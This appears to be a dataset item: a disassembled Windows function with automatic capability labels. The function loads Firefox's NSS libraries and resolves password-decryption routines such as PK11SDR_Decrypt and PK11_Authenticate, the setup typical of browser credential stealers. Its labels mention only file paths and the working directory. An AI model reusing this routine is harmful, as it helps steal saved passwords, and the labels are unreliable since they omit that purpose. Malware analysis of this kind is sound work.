Function at 0x416d22
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
mov dword [ebp - 4], ecx
push 0x104
push 0
lea eax, [ebp - 0x248]
push eax
call fcn.0040132f
add esp, 0xc
mov dword [ebp - 0x30], 0x104
lea eax, [ebp - 0x248]
push eax
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [ebp + 8]
call fcn.00406f44
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 0x4280c4
lea ecx, [ebp + 8]
call fcn.00406c53
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x2c]
call fcn.00406fbc
push 0x4280c8
lea ecx, [ebp - 0x2c]
call fcn.00406c53
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x18]
call fcn.00406fbc
push str.msvcr120.dll
lea ecx, [ebp - 0x18]
call fcn.00406c53
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x14]
call fcn.00406fbc
push str.msvcp120.dll
lea ecx, [ebp - 0x14]
call fcn.00406c53
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x28]
call fcn.00406fbc
push str.mozglue.dll
lea ecx, [ebp - 0x28]
call fcn.00406c53
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406fbc
push str.softokn3.dll
lea ecx, [ebp - 0x24]
call fcn.00406c53
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x20]
call fcn.00406fbc
push str.msvcp
lea ecx, [ebp - 0x20]
call fcn.00406c53
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x1c]
call fcn.00406fbc
push str.msvcr
lea ecx, [ebp - 0x1c]
call fcn.00406c53
mov dword [ebp - 8], 0x5a
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0xc]
call fcn.00406fbc
push dword [ebp - 8]
lea ecx, [ebp - 0xc]
call fcn.00406cda
mov dword [ebp - 0x34], eax
push 0x428160
mov ecx, dword [ebp - 0x34]
call fcn.00406c53
lea eax, [ebp - 0xc]
push eax
call fcn.0041e9e4
pop ecx
test eax, eax
je 0x416e78
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x14]
call fcn.00406bfc
lea ecx, [ebp - 0xc]
call fcn.00406be2
jmp 0x416e92
mov eax, dword [ebp - 8]
add eax, 0xa
mov dword [ebp - 8], eax
lea ecx, [ebp - 0xc]
call fcn.00406be2
cmp dword [ebp - 8], 0x96
jne 0x416e2d
mov dword [ebp - 8], 0x5a
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x10]
call fcn.00406fbc
push dword [ebp - 8]
lea ecx, [ebp - 0x10]
call fcn.00406cda
mov dword [ebp - 0x38], eax
push 0x42816c
mov ecx, dword [ebp - 0x38]
call fcn.00406c53
lea eax, [ebp - 0x10]
push eax
call fcn.0041e9e4
pop ecx
test eax, eax
je 0x416ee4
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x18]
call fcn.00406bfc
lea ecx, [ebp - 0x10]
call fcn.00406be2
jmp 0x416efe
mov eax, dword [ebp - 8]
add eax, 0xa
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x10]
call fcn.00406be2
cmp dword [ebp - 8], 0x96
jne 0x416e99
lea ecx, [ebp - 0x18]
call fcn.00406f44
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0xc4], eax
lea ecx, [ebp - 0x14]
call fcn.00406f44
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0xc8], eax
lea ecx, [ebp - 0x28]
call fcn.00406f44
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0xcc], eax
lea ecx, [ebp - 0x2c]
call fcn.00406f44
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0xd0], eax
lea ecx, [ebp - 0x24]
call fcn.00406f44
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0xd4], eax
mov eax, dword [ebp - 4]
cmp dword [eax + 0xc8], 0
je 0x416fa6
mov eax, dword [ebp - 4]
cmp dword [eax + 0xcc], 0
je 0x416fa6
mov eax, dword [ebp - 4]
cmp dword [eax + 0xd0], 0
je 0x416fa6
mov eax, dword [ebp - 4]
cmp dword [eax + 0xd4], 0
jne 0x416ff2
and dword [ebp - 0x3c], 0
lea ecx, [ebp - 0x1c]
call fcn.00406be2
lea ecx, [ebp - 0x20]
call fcn.00406be2
lea ecx, [ebp - 0x24]
call fcn.00406be2
lea ecx, [ebp - 0x28]
call fcn.00406be2
lea ecx, [ebp - 0x14]
call fcn.00406be2
lea ecx, [ebp - 0x18]
call fcn.00406be2
lea ecx, [ebp - 0x2c]
call fcn.00406be2
lea ecx, [ebp + 8]
call fcn.00406be2
mov eax, dword [ebp - 0x3c]
jmp 0x417172
push 0
push str.NSS_Init
mov eax, dword [ebp - 4]
push dword [eax + 0xd0]
call fcn.0041ff80
add esp, 0xc
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x84], eax
push 0
push str.PK11_GetInternalKeySlot
mov eax, dword [ebp - 4]
push dword [eax + 0xd0]
call fcn.0041ff80
add esp, 0xc
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x9c], eax
push 0
push str.PK11_Authenticate
mov eax, dword [ebp - 4]
push dword [eax + 0xd0]
call fcn.0041ff80
add esp, 0xc
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x98], eax
push 0
push str.PK11SDR_Decrypt
mov eax, dword [ebp - 4]
push dword [eax + 0xd0]
call fcn.0041ff80
add esp, 0xc
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x8c], eax
push 0
push str.NSSBase64_DecodeBuffer
mov eax, dword [ebp - 4]
push dword [eax + 0xd0]
call fcn.0041ff80
add esp, 0xc
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x90], eax
push 0
push str.PK11_CheckUserPassword
mov eax, dword [ebp - 4]
push dword [eax + 0xd0]
call fcn.0041ff80
add esp, 0xc
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x94], eax
push 0
push str.NSS_Shutdown
mov eax, dword [ebp - 4]
push dword [eax + 0xd0]
call fcn.0041ff80
add esp, 0xc
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x88], eax
push 0
push str.PK11_FreeSlot
mov eax, dword [ebp - 4]
push dword [eax + 0xd0]
call fcn.0041ff80
add esp, 0xc
mov ecx, dword [ebp - 4]
mov dword [ecx + 0xa0], eax
push 0
push str.PR_GetError
mov eax, dword [ebp - 4]
push dword [eax + 0xd0]
call fcn.0041ff80
add esp, 0xc
mov ecx, dword [ebp - 4]
mov dword [ecx + 0xa4], eax
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov dword [ebp - 0x40], 1
lea ecx, [ebp - 0x1c]
call fcn.00406be2
lea ecx, [ebp - 0x20]
call fcn.00406be2
lea ecx, [ebp - 0x24]
call fcn.00406be2
lea ecx, [ebp - 0x28]
call fcn.00406be2
lea ecx, [ebp - 0x14]
call fcn.00406be2
lea ecx, [ebp - 0x18]
call fcn.00406be2
lea ecx, [ebp - 0x2c]
call fcn.00406be2
lea ecx, [ebp + 8]
call fcn.00406be2
mov eax, dword [ebp - 0x40]
leave
ret 4